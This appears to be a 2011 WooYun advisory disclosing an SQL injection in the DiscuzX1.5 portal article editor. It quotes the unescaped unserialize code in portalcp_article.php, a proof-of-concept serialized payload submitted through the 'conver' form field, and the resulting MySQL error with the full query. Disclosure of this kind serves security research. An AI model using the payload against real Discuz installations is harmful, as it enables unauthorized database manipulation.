当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-01997

漏洞标题:DiscuzX1.5 门户管理权限SQL注入漏洞

相关厂商:Discuz!

漏洞作者: 蓝盾科技

提交时间:2011-04-27 21:36

修复时间:2011-04-28 17:00

公开时间:2011-04-28 17:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:7

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-04-27: 细节已通知厂商并且等待厂商处理中
2011-04-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

DiscuzX1.5 门户管理权限SQL注入漏洞

详细说明:

DiscuzX1.5 门户管理权限SQL注入漏洞
详细说明:
source\include\portalcp\portalcp_article.php
//90行
if($_G['gp_conver']) {
$converfiles = unserialize(stripcslashes($_G['gp_conver']));
$setarr['pic'] = $converfiles['pic'];
$setarr['thumb'] = $converfiles['thumb'];
$setarr['remote'] = $converfiles['remote'];
}
可以看出变量 $converfiles 没有 addcslashes。
$aid = DB::insert(‘portal_article_title’, $setarr, 1); //122行
进入数据库查询,因此存在SQL注射BUG。

漏洞证明:

漏洞证明:
有 门户 › 门户管理 › 频道栏目 发表权限。
发表文章:
http://localhost/portal.php?mod=portalcp&ac=article&catid=1
在firebug下显示conver表单。
填上:a:3:{s:3:”pic”;s:3:”xx’”;s:5:”thumb”;s:2:”xx”;s:6:”remote”;s:2:”xx”;}
提交即暴错。
Error messages:
* [Type] 查询语句错误
* [1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘xx’,`remote`=’xx’,`uid`=’1′,`username`=’admin’,`id`=’0” at line 1
* [Query] INSERT INTO portal_article_title SET `title`=’xxxxxxxx’,`shorttitle`=”,`author`=”,`from`=”,`fromurl`=”,`dateline`=’1301158320′,`url`=”,`allowcomment`=’1′,`summary`=’xxxxxxxxxxxxxxxx’,`prename`=”,`preurl`=”,`catid`=’1′,`tag`=’0′,`status`=’0′,`pic`=’xx”,`thumb`=’xx’,`remote`=’xx’,`uid`=’1′,`username`=’admin’,`id`=’0

修复方案:

你懂的

版权声明:转载请注明来源 蓝盾科技@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2011-04-28 17:00

厂商回复:

已在此平台获知。

最新状态:

暂无